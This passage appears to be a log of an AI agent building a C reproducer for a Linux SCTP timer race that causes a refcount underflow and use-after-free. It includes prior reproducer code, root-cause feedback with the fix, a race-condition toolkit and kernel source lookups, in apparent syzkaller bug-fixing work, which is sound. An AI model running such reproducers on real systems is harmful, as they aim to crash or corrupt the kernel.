    /* Set RTO to minimum to make T2_SHUTDOWN fire rapidly */
    struct sctp_rtoinfo rtoinfo;
    memset(&rtoinfo, 0, sizeof(rtoinfo));
    rtoinfo.srto_initial = 10;
    rtoinfo.srto_min = 10;
    rtoinfo.srto_max = 10;
    setsockopt(server_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo));

    /* Set SO_RCVBUF to 0 to advertise a tiny window */
    int rcvbuf = 0;
    setsockopt(server_fd, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(rcvbuf));

    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");

    bind(server_fd, (struct sockaddr *)&addr, sizeof(addr));
    listen(server_fd, 10);

    int client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    int opt = 1;
    setsockopt(client_fd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt));
    
    memset(&client_addr, 0, sizeof(client_addr));
    client_addr.sin_family = AF_INET;
    client_addr.sin_port = htons(54321);
    client_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    bind(client_fd, (struct sockaddr *)&client_addr, sizeof(client_addr));

    connect(client_fd, (struct sockaddr *)&addr, sizeof(addr));

    int accepted_fd = accept(server_fd, NULL, NULL);
    setsockopt(accepted_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo));

    /* Set non-blocking so we can fill the outqueue */
    int flags = fcntl(client_fd, F_GETFL, 0);
    fcntl(client_fd, F_SETFL, flags | O_NONBLOCK);
    
    /* 
     * Send a large message from client to fill the server's receive window.
     * The unacknowledged data stays in the client's outqueue, preventing it
     * from sending a SHUTDOWN_ACK when it receives the server's SHUTDOWN.
     */
    char *large_buf = malloc(1024 * 1024);
    memset(large_buf, 'A', 1024 * 1024);
    send(client_fd, large_buf, 1024 * 1024, 0);

    usleep(100000);

    /* Shutdown the server socket to enter SHUTDOWN_SENT state */
    shutdown(accepted_fd, SHUT_WR);

    /* Start threads to spam INITs from the same client IP:port */
    pthread_t th[4];
    for (int i = 0; i < 4; i++) {
        pthread_create(&th[i], NULL, client_thread, NULL);
    }

    /* Let the race run for a few seconds */
    sleep(5);

    return 0;
}
```


Previous Reproducer Attempt:
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>

#ifndef IPPROTO_SCTP
#define IPPROTO_SCTP 132
#endif

#ifndef SOL_SCTP
#define SOL_SCTP 132
#endif

#define SCTP_RTOINFO 0
#define SCTP_SOCKOPT_BINDX_ADD 100
#define SCTP_SOCKOPT_BINDX_REM 101

struct sctp_rtoinfo {
    uint32_t srto_assoc_id;
    uint32_t srto_initial;
    uint32_t srto_max;
    uint32_t srto_min;
};

void *client_thread(void *arg) {
    int fd = *(int *)arg;
    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.2");

    while (1) {
        setsockopt(fd, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, &addr, sizeof(addr));
        setsockopt(fd, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, &addr, sizeof(addr));
    }
    return NULL;
}

int main() {
    int sysctl_fd = open("/proc/sys/net/sctp/addip_enable", O_WRONLY);
    if (sysctl_fd >= 0) {
        if (write(sysctl_fd, "1", 1) < 0) {
            /* Ignore error */
        }
        close(sysctl_fd);
    }
    sysctl_fd = open("/proc/sys/net/sctp/addip_noauth_enable", O_WRONLY);
    if (sysctl_fd >= 0) {
        if (write(sysctl_fd, "1", 1) < 0) {
            /* Ignore error */
        }
        close(sysctl_fd);
    }

    int server_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (server_fd < 0) {
        printf("[-] socket: %s\n", strerror(errno));
        return 1;
    }

    struct sctp_rtoinfo rtoinfo;
    memset(&rtoinfo, 0, sizeof(rtoinfo));
    rtoinfo.srto_initial = 1;
    rtoinfo.srto_min = 1;
    rtoinfo.srto_max = 1;
    if (setsockopt(server_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo)) < 0) {
        printf("[-] setsockopt SCTP_RTOINFO: %s\n", strerror(errno));
        return 1;
    }

    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");

    if (bind(server_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        printf("[-] bind: %s\n", strerror(errno));
        return 1;
    }
    if (listen(server_fd, 10) < 0) {
        printf("[-] listen: %s\n", strerror(errno));
        return 1;
    }

    int client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (client_fd < 0) {
        printf("[-] socket: %s\n", strerror(errno));
        return 1;
    }
    if (setsockopt(client_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo)) < 0) {
        printf("[-] setsockopt SCTP_RTOINFO: %s\n", strerror(errno));
        return 1;
    }
    
    if (connect(client_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        printf("[-] connect: %s\n", strerror(errno));
        return 1;
    }

    printf("[+] Connected successfully.\n");

    pthread_t th[4];
    for (int i = 0; i < 4; i++) {
        pthread_create(&th[i], NULL, client_thread, &client_fd);
    }

    sleep(10);
    printf("[+] Done.\n");
    return 0;
}



Execution Results & Debugging Feedback:
The reproduction attempt failed to trigger the crash because the bug is caused by an extremely tight race condition in `sctp_cmd_interpreter` that is highly non-deterministic and difficult to hit reliably in a short C reproducer.

The root cause is a reference count leak (underflow) leading to a use-after-free of the SCTP association. In `net/sctp/sm_sideeffect.c`, the `SCTP_CMD_TIMER_START` command is processed as follows:

```c
case SCTP_CMD_TIMER_START:
    timer = &asoc->timers[cmd->obj.to];
    timeout = asoc->timeouts[cmd->obj.to];
    BUG_ON(!timeout);

    if (!timer_pending(timer))
        sctp_association_hold(asoc);
    timer_reduce(timer, jiffies + timeout);
    break;
```

The code checks `timer_pending(timer)` to determine if the timer is already running. If it returns `true`, it assumes the timer already holds a reference to the association and skips `sctp_association_hold(asoc)`. 

However, if the timer expires and is dequeued by the timer softirq EXACTLY in the tiny window between the `timer_pending(timer)` check and the `timer_reduce(...)` call, `timer_reduce` will re-enqueue the timer (since it is no longer pending). Because `sctp_association_hold(asoc)` was skipped, the newly enqueued timer does NOT have a corresponding reference count increment.

When this timer eventually expires, its callback (`sctp_generate_timeout_event`) will call `sctp_association_put(asoc)`, dropping a reference that was never taken. This causes the association's refcount to drop to 0 prematurely. Later, when the timer callback reschedules itself (e.g., because `sock_owned_by_user(sk)` is true), it calls `sctp_association_hold(asoc)` on a 0-refcount object, triggering the `refcount_t: addition on 0; use-after-free` warning.

This race can be triggered when `SCTP_CMD_TIMER_START` is executed for a timer that is already pending (e.g., `T2_SHUTDOWN` when receiving a duplicate `COOKIE_ECHO` in `SHUTDOWN_SENT` state, or `T4_RTO` during concurrent ASCONF operations).

To fix this bug, the code must rely on the atomic return value of `timer_reduce()` (which returns 0 if the timer was inactive and started, and 1 if it was active). The correct logic is:

```c
    if (!timer_reduce(timer, jiffies + timeout))
        sctp_association_hold(asoc);
```

To improve the reproducer, you would need to flood the socket with events that trigger `SCTP_CMD_TIMER_START` on an already pending timer (e.g., flooding duplicate `COOKIE_ECHO` chunks while in `SHUTDOWN_SENT` state) to increase the probability of hitting the instruction-level race window with the timer expiration.

gemini-3.1-pro-preview

							input: 10204
							output: 16
							thoughts: 1301
						

**My Thoughts on Reproducing the SCTP Race Condition**

Okay, the core of this problem lies in a specific race condition within the `sctp_cmd_interpreter` function, specifically when handling the `SCTP_CMD_TIMER_START` command. I need to craft a C reproducer that reliably exposes this. The problematic sequence is:

```c
    if (!timer_pending(timer))
        sctp_association_hold(asoc);
    timer_reduce(timer, jiffies + timeout);
```

The critical flaw here is that if the timer expires *between* the `timer_pending` check and the `timer_reduce` call, the `timer_reduce` function will re-enqueue the timer without first acquiring a reference to the association (`asoc`). This leads to a reference count underflow later on, which is where the crash occurs.

I've been presented with some previous attempts and strategies, and I need to sift through them to devise the most effective approach.

First, there was a suggestion to trigger this by flooding duplicate `INIT` and `COOKIE_ECHO` chunks while the server is in the `SHUTDOWN_SENT` state. This is a promising angle.

Then, there's a piece of code labeled "Here is the complete C reproducer," which seems to align with the `SHUTDOWN_SENT` strategy. It uses `SOCK_SEQPACKET` sockets and `sendto` to achieve this. I need to verify how `sendto` on an unconnected `SOCK_SEQPACKET` socket with `IPPROTO_SCTP` works. My understanding is that it implicitly sets up an association, which is exactly what we need to manipulate the state and inject packets.

However, there's also a "Previous Reproducer Attempt" that used `SCTP_SOCKOPT_BINDX_ADD`/`REM` with threads. The feedback states that *this* attempt failed to trigger the crash because the race is extremely tight and non-deterministic. This tells me that simply spawning threads to manipulate socket options might not be aggressive enough.

The crucial piece of feedback is: "The reproduction attempt failed to trigger the crash because the bug is caused by an extremely tight race condition... highly non-deterministic". This reinforces the need for a highly aggressive and precisely timed approach.

Given this context, I believe the strategy of flooding duplicate `COOKIE_ECHO` chunks in `SHUTDOWN_SENT` state, as hinted in the "Strategy" section and used in the "complete C reproducer," is the most viable path. I need to ensure this reproducer is as aggressive as possible to maximize the chances of hitting that narrow timing window. I should leverage the `race_toolkit.h` provided by `get-toolkit` to help in this aggressive timing. My goal is to create a reproducer that, while inherently non-deterministic, has the highest probability of triggering the bug. I need to carefully examine the "complete C reproducer" and ensure it's correctly implemented and that the timing of packet injection is as precise as possible.

map[Name:race]

map[Toolkit:// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.

// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"

// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>

// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)

// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu)                                                \
	do {                                                           \
		cpu_set_t mask;                                        \
		CPU_ZERO(&mask);                                       \
		CPU_SET(cpu, &mask);                                   \
		if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
			perror("sched_setaffinity");                   \
		}                                                      \
	} while (0)

// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)

// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val)                                               \
	do {                                                             \
		while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
			;                                                \
	} while (0)

// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)

// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).

static inline double timer_elapsed_sec(struct timespec* start)
{
	struct timespec now;
	if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
		perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
		exit(1);
	}
	return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}

// Initialize a monotonic timer variable.
#define TIMER_START(t)                                          \
	struct timespec t;                                      \
	if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) {         \
		perror("clock_gettime(CLOCK_MONOTONIC) start"); \
		exit(1);                                        \
	}

// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))

// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
	int state;
} event_t;

static void event_init(event_t* ev)
{
	ev->state = 0;
}
static void event_reset(event_t* ev)
{
	ev->state = 0;
}

static void event_set(event_t* ev)
{
	if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
		fprintf(stderr, "event already set\n");
		exit(1);
	}
	__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
	syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}

static void event_wait(event_t* ev)
{
	while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
		syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}

// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
	int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	if (uffd == -1)
		return -1;
	struct uffdio_api api = {.api = UFFD_API, .features = 0};
	if (ioctl(uffd, UFFDIO_API, &api) == -1) {
		close(uffd);
		return -1;
	}
	struct uffdio_register reg = {
	    .range = {.start = (uintptr_t)addr, .len = len},
	    .mode = UFFDIO_REGISTER_MODE_MISSING};
	if (ioctl(uffd, UFFDIO_REGISTER, &reg) == -1) {
		close(uffd);
		return -1;
	}
	return uffd;
}

// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
//    pause a thread accessing that memory until you handle the fault, creating a reliable
//    and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
//    immediately. This is essential for understanding the exact interleaving of events
//    when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
//    or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
//    Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
//        TIMER_START(start);
//        while (TIMER_NOT_EXPIRED(start, 10.0)) {
//            // Your race logic here
//        }
]

gemini-3.1-pro-preview

							input: 13187
							output: 29
							thoughts: 505
						

**My Thought Process Unraveling the SCTP Race Condition**

I've been digging into a particularly insidious bug, and I think I've finally pinned down its root cause and the specific conditions that trigger it. My journey started with identifying the faulty function, `sctp_generate_timeout_event`, which is directly invoked from `call_timer_fn`. This is where the actual timer expiration logic resides, but the critical race condition I'm concerned with originates earlier, within `sctp_cmd_interpreter` during the handling of `SCTP_CMD_TIMER_START`.

The core of the issue lies in this snippet:

```c
    if (!timer_pending(timer))
        sctp_association_hold(asoc);
    timer_reduce(timer, jiffies + timeout);
```

The intention here is clear: if a timer isn't already active (`!timer_pending(timer)` evaluates to true), we need to establish a reference to the association before we re-schedule the timer with `timer_reduce`. This `sctp_association_hold(asoc)` call is crucial for maintaining the association's state and ensuring it isn't prematurely freed while a timer is active.

However, the bug description meticulously lays out the precise timing that breaks this logic. The race occurs if, in that tiny window *between* the `timer_pending(timer)` check and the `timer_reduce(...)` call, the timer expires and is subsequently dequeued by the timer softirq. If this happens, `timer_reduce` will be called on a timer that is no longer pending. Since `timer_pending` would have returned `false` just moments before, `sctp_association_hold(asoc)` was *skipped*. The critical consequence is that the newly re-enqueued timer (from `timer_reduce`) does *not* have a corresponding reference count incremented, leaving the association vulnerable.

So, to exploit this, I need `timer_pending(timer)` to return `true`. This means the timer must be active. Then, the timer needs to expire and be dequeued. Following that, `timer_reduce` is invoked, which, because the timer is no longer pending (it just expired!), will re-enqueue it. The crucial missing piece is the `sctp_association_hold(asoc)` call, which was skipped precisely because `timer_pending(timer)` was initially `true`.

This leads me to the conditions under which `timer_pending` would return `true`. It must already be active. The prompt offers a specific scenario: "flooding duplicate `COOKIE_ECHO` chunks while the server is in the `SHUTDOWN_SENT` state." My understanding is that when an SCTP endpoint is in the `SHUTDOWN_SENT` state, the `T2_SHUTDOWN` timer is actively running. If I then flood this endpoint with duplicate `COOKIE_ECHO` chunks, this triggers an Association Restart, specifically designated as Action A. And Action A, in turn, calls `sctp_sf_do_9_2_start_shutdown`. It's within this function that `SCTP_CMD_TIMER_START` is called for the `T2_SHUTDOWN` timer, presenting the perfect opportunity for the race to manifest. My next step is to dive into the code of `sctp_sf_do_9_2_start_shutdown` and `sctp_cmd_interpreter` to confirm this execution flow and the exact placement of these operations.

map[Expression:sctp_sf_do_9_2_start_shutdown]

map[Output:include/net/sctp/sm.h=145=sctp_state_fn_t sctp_sf_do_no_pending_tsn;
include/net/sctp/sm.h:146:sctp_state_fn_t sctp_sf_do_9_2_start_shutdown;
include/net/sctp/sm.h-147-sctp_state_fn_t sctp_sf_do_9_2_shutdown_ack;
--
net/sctp/sm_statefuns.c=1882=static enum sctp_disposition sctp_sf_do_dupcook_a(
--
net/sctp/sm_statefuns.c-1980-		sctp_add_cmd_sf(commands, SCTP_CMD_REPLY, SCTP_CHUNK(repl));
net/sctp/sm_statefuns.c:1981:		return sctp_sf_do_9_2_start_shutdown(net, ep, asoc,
net/sctp/sm_statefuns.c-1982-						     SCTP_ST_CHUNK(0), repl,
--
net/sctp/sm_statefuns.c=5172=enum sctp_disposition sctp_sf_do_9_2_prm_shutdown(
--
net/sctp/sm_statefuns.c-5194-	if (sctp_outq_is_empty(&asoc->outqueue)) {
net/sctp/sm_statefuns.c:5195:		disposition = sctp_sf_do_9_2_start_shutdown(net, ep, asoc, type,
net/sctp/sm_statefuns.c-5196-							    arg, commands);
--
net/sctp/sm_statefuns.c=5632=enum sctp_disposition sctp_sf_do_no_pending_tsn(
--
net/sctp/sm_statefuns.c-5663- */
net/sctp/sm_statefuns.c:5664:enum sctp_disposition sctp_sf_do_9_2_start_shutdown(
net/sctp/sm_statefuns.c-5665-					struct net *net,
--
net/sctp/sm_statefuns.c=6255=enum sctp_disposition sctp_sf_autoclose_timer_expire(
--
net/sctp/sm_statefuns.c-6279-	if (sctp_outq_is_empty(&asoc->outqueue)) {
net/sctp/sm_statefuns.c:6280:		disposition = sctp_sf_do_9_2_start_shutdown(net, ep, asoc, type,
net/sctp/sm_statefuns.c-6281-							    NULL, commands);
--
net/sctp/sm_statetable.c=707=primitive_event_table[SCTP_NUM_PRIMITIVE_TYPES][SCTP_STATE_NUM_STATES] = {
--
net/sctp/sm_statetable.c-726-	/* SCTP_STATE_SHUTDOWN_PENDING */ \
net/sctp/sm_statetable.c:727:	TYPE_SCTP_FUNC(sctp_sf_do_9_2_start_shutdown), \
net/sctp/sm_statetable.c-728-	/* SCTP_STATE_SHUTDOWN_SENT */ \
]

gemini-3.1-pro-preview

							input: 14641
							output: 52
							thoughts: 37
						

**My Thought Process on `sctp_sf_do_9_2_start_shutdown`**

My initial instinct is to dive deep into the implementation details of the SCTP state machine, specifically focusing on how the shutdown process is initiated. Therefore, I'm going to examine the `sctp_sf_do_9_2_start_shutdown` function located within `net/sctp/sm_statefuns.c`. I anticipate this function will encapsulate the core logic for transitioning an SCTP association into the shutdown state, likely involving the generation and transmission of specific SCTP control messages and the management of associated timers and internal state variables. I'll be looking for how it handles different scenarios, such as graceful shutdowns initiated by the local endpoint versus those triggered by receiving shutdown notifications from the peer. I expect to see checks for existing data in transit, ensuring all acknowledged data has been processed before proceeding, and careful management of the association's state flags to reflect the ongoing shutdown. The interaction with other state functions and the underlying socket operations will also be a key area of interest for me.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_sf_do_9_2_start_shutdown]

map[SourceCode:5651:	/*
5652:	 * Start the shutdown negotiation.
5653:	 *
5654:	 * From Section 9.2:
5655:	 * Once all its outstanding data has been acknowledged, the endpoint
5656:	 * shall send a SHUTDOWN chunk to its peer including in the Cumulative
5657:	 * TSN Ack field the last sequential TSN it has received from the peer.
5658:	 * It shall then start the T2-shutdown timer and enter the SHUTDOWN-SENT
5659:	 * state. If the timer expires, the endpoint must re-send the SHUTDOWN
5660:	 * with the updated last sequential TSN received from its peer.
5661:	 *
5662:	 * The return value is the disposition.
5663:	 */
5664:	enum sctp_disposition sctp_sf_do_9_2_start_shutdown(
5665:						struct net *net,
5666:						const struct sctp_endpoint *ep,
5667:						const struct sctp_association *asoc,
5668:						const union sctp_subtype type,
5669:						void *arg,
5670:						struct sctp_cmd_seq *commands)
5671:	{
5672:		struct sctp_chunk *reply;
5673:	
5674:		/* Once all its outstanding data has been acknowledged, the
5675:		 * endpoint shall send a SHUTDOWN chunk to its peer including
5676:		 * in the Cumulative TSN Ack field the last sequential TSN it
5677:		 * has received from the peer.
5678:		 */
5679:		reply = sctp_make_shutdown(asoc, arg);
5680:		if (!reply)
5681:			goto nomem;
5682:	
5683:		/* Set the transport for the SHUTDOWN chunk and the timeout for the
5684:		 * T2-shutdown timer.
5685:		 */
5686:		sctp_add_cmd_sf(commands, SCTP_CMD_SETUP_T2, SCTP_CHUNK(reply));
5687:	
5688:		/* It shall then start the T2-shutdown timer */
5689:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
5690:				SCTP_TO(SCTP_EVENT_TIMEOUT_T2_SHUTDOWN));
5691:	
5692:		/* RFC 4960 Section 9.2
5693:		 * The sender of the SHUTDOWN MAY also start an overall guard timer
5694:		 * 'T5-shutdown-guard' to bound the overall time for shutdown sequence.
5695:		 */
5696:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_RESTART,
5697:				SCTP_TO(SCTP_EVENT_TIMEOUT_T5_SHUTDOWN_GUARD));
5698:	
5699:		if (asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE])
5700:			sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
5701:					SCTP_TO(SCTP_EVENT_TIMEOUT_AUTOCLOSE));
5702:	
5703:		/* and enter the SHUTDOWN-SENT state.  */
5704:		sctp_add_cmd_sf(commands, SCTP_CMD_NEW_STATE,
5705:				SCTP_STATE(SCTP_STATE_SHUTDOWN_SENT));
5706:	
5707:		/* sctp-implguide 2.10 Issues with Heartbeating and failover
5708:		 *
5709:		 * HEARTBEAT ... is discontinued after sending either SHUTDOWN
5710:		 * or SHUTDOWN-ACK.
5711:		 */
5712:		sctp_add_cmd_sf(commands, SCTP_CMD_HB_TIMERS_STOP, SCTP_NULL());
5713:	
5714:		sctp_add_cmd_sf(commands, SCTP_CMD_REPLY, SCTP_CHUNK(reply));
5715:	
5716:		return SCTP_DISPOSITION_CONSUME;
5717:	
5718:	nomem:
5719:		return SCTP_DISPOSITION_NOMEM;
5720:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 15935
							output: 50
							thoughts: 171
						

**My Thought Process Regarding SCTP Shutdown and Duplicate COOKIE_ECHO Chunks**

Okay, so I'm digging into the SCTP state machine, specifically around the shutdown process. I noticed that `sctp_sf_do_9_2_start_shutdown` initiates the `T2_SHUTDOWN` timer by adding an `SCTP_CMD_TIMER_START` command. This makes sense – we need a timer to manage the shutdown.

However, my immediate question arose: what happens if the server is *already* in the `SHUTDOWN_SENT` state when `sctp_sf_do_9_2_start_shutdown` is called? My understanding is that when we're in `SHUTDOWN_SENT`, the `T2_SHUTDOWN` timer is already running. So, how would we even *get* to a point where `sctp_sf_do_9_2_start_shutdown` is triggered again in that specific state? This feels like a potential race condition or a scenario that needs careful handling.

The prompt clarifies this by stating: "The feedback specifically suggests triggering this by flooding duplicate `COOKIE_ECHO` chunks while the server is in the `SHUTDOWN_SENT` state." Ah, this is the key. The scenario isn't about `sctp_sf_do_9_2_start_shutdown` being called *directly* while in `SHUTDOWN_SENT`. Instead, it's about how a specific *event* – flooding duplicate `COOKIE_ECHO` chunks – can lead to unexpected state transitions or timer re-activations, even when the endpoint is already in the process of shutting down.

So, my next step in this investigation is to trace the path of these duplicate `COOKIE_ECHO` chunks. I need to look at `sctp_sf_do_dupcook_a`, as that's the state handler explicitly invoked when duplicate `COOKIE_ECHO` chunks are received. I need to examine what `sctp_sf_do_dupcook_a` does, particularly when the peer is in `SHUTDOWN_SENT`, to understand if and how it interacts with the `T2_SHUTDOWN` timer or triggers any shutdown-related actions that might be relevant to the initial observation about `sctp_sf_do_9_2_start_shutdown`. This is where the potential for unexpected behavior, or the specific edge case the prompt is highlighting, likely lies.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_sf_do_dupcook_a]

map[SourceCode:1877:	/* Unexpected COOKIE-ECHO handler for peer restart (Table 2, action 'A')
1878:	 *
1879:	 * Section 5.2.4
1880:	 *  A)  In this case, the peer may have restarted.
1881:	 */
1882:	static enum sctp_disposition sctp_sf_do_dupcook_a(
1883:						struct net *net,
1884:						const struct sctp_endpoint *ep,
1885:						const struct sctp_association *asoc,
1886:						struct sctp_chunk *chunk,
1887:						struct sctp_cmd_seq *commands,
1888:						struct sctp_association *new_asoc)
1889:	{
1890:		struct sctp_init_chunk *peer_init;
1891:		enum sctp_disposition disposition;
1892:		struct sctp_ulpevent *ev;
1893:		struct sctp_chunk *repl;
1894:		struct sctp_chunk *err;
1895:	
1896:		/* new_asoc is a brand-new association, so these are not yet
1897:		 * side effects--it is safe to run them here.
1898:		 */
1899:		peer_init = (struct sctp_init_chunk *)(chunk->subh.cookie_hdr + 1);
1900:		if (!sctp_process_init(new_asoc, chunk, sctp_source(chunk), peer_init,
1901:				       GFP_ATOMIC))
1902:			goto nomem;
1903:	
1904:		if (sctp_auth_asoc_init_active_key(new_asoc, GFP_ATOMIC))
1905:			goto nomem;
1906:	
1907:		if (!sctp_auth_chunk_verify(net, chunk, new_asoc))
1908:			return SCTP_DISPOSITION_DISCARD;
1909:	
1910:		/* Make sure no new addresses are being added during the
1911:		 * restart.  Though this is a pretty complicated attack
1912:		 * since you'd have to get inside the cookie.
1913:		 */
1914:		if (!sctp_sf_check_restart_addrs(new_asoc, asoc, chunk, commands))
1915:			return SCTP_DISPOSITION_CONSUME;
1916:	
1917:		/* If the endpoint is in the SHUTDOWN-ACK-SENT state and recognizes
1918:		 * the peer has restarted (Action A), it MUST NOT setup a new
1919:		 * association but instead resend the SHUTDOWN ACK and send an ERROR
1920:		 * chunk with a "Cookie Received while Shutting Down" error cause to
1921:		 * its peer.
1922:		*/
1923:		if (sctp_state(asoc, SHUTDOWN_ACK_SENT)) {
1924:			disposition = __sctp_sf_do_9_2_reshutack(net, ep, asoc,
1925:								 SCTP_ST_CHUNK(chunk->chunk_hdr->type),
1926:								 chunk, commands);
1927:			if (SCTP_DISPOSITION_NOMEM == disposition)
1928:				goto nomem;
1929:	
1930:			err = sctp_make_op_error(asoc, chunk,
1931:						 SCTP_ERROR_COOKIE_IN_SHUTDOWN,
1932:						 NULL, 0, 0);
1933:			if (err)
1934:				sctp_add_cmd_sf(commands, SCTP_CMD_REPLY,
1935:						SCTP_CHUNK(err));
1936:	
1937:			return SCTP_DISPOSITION_CONSUME;
1938:		}
1939:	
1940:		/* For now, stop pending T3-rtx and SACK timers, fail any unsent/unacked
1941:		 * data. Consider the optional choice of resending of this data.
1942:		 */
1943:		sctp_add_cmd_sf(commands, SCTP_CMD_T3_RTX_TIMERS_STOP, SCTP_NULL());
1944:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
1945:				SCTP_TO(SCTP_EVENT_TIMEOUT_SACK));
1946:		sctp_add_cmd_sf(commands, SCTP_CMD_PURGE_OUTQUEUE, SCTP_NULL());
1947:	
1948:		/* Stop pending T4-rto timer, teardown ASCONF queue, ASCONF-ACK queue
1949:		 * and ASCONF-ACK cache.
1950:		 */
1951:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
1952:				SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
1953:		sctp_add_cmd_sf(commands, SCTP_CMD_PURGE_ASCONF_QUEUE, SCTP_NULL());
1954:	
1955:		/* Update the content of current association. */
1956:		if (sctp_sf_do_assoc_update((struct sctp_association *)asoc, new_asoc, commands))
1957:			goto nomem;
1958:	
1959:		repl = sctp_make_cookie_ack(asoc, chunk);
1960:		if (!repl)
1961:			goto nomem;
1962:	
1963:		/* Report association restart to upper layer. */
1964:		ev = sctp_ulpevent_make_assoc_change(asoc, 0, SCTP_RESTART, 0,
1965:						     asoc->c.sinit_num_ostreams,
1966:						     asoc->c.sinit_max_instreams,
1967:						     NULL, GFP_ATOMIC);
1968:		if (!ev)
1969:			goto nomem_ev;
1970:	
1971:		sctp_add_cmd_sf(commands, SCTP_CMD_EVENT_ULP, SCTP_ULPEVENT(ev));
1972:		if ((sctp_state(asoc, SHUTDOWN_PENDING) ||
1973:		     sctp_state(asoc, SHUTDOWN_SENT)) &&
1974:		    (sctp_sstate(asoc->base.sk, CLOSING) ||
1975:		     sock_flag(asoc->base.sk, SOCK_DEAD))) {
1976:			/* If the socket has been closed by user, don't
1977:			 * transition to ESTABLISHED. Instead trigger SHUTDOWN
1978:			 * bundled with COOKIE_ACK.
1979:			 */
1980:			sctp_add_cmd_sf(commands, SCTP_CMD_REPLY, SCTP_CHUNK(repl));
1981:			return sctp_sf_do_9_2_start_shutdown(net, ep, asoc,
1982:							     SCTP_ST_CHUNK(0), repl,
1983:							     commands);
1984:		} else {
1985:			sctp_add_cmd_sf(commands, SCTP_CMD_NEW_STATE,
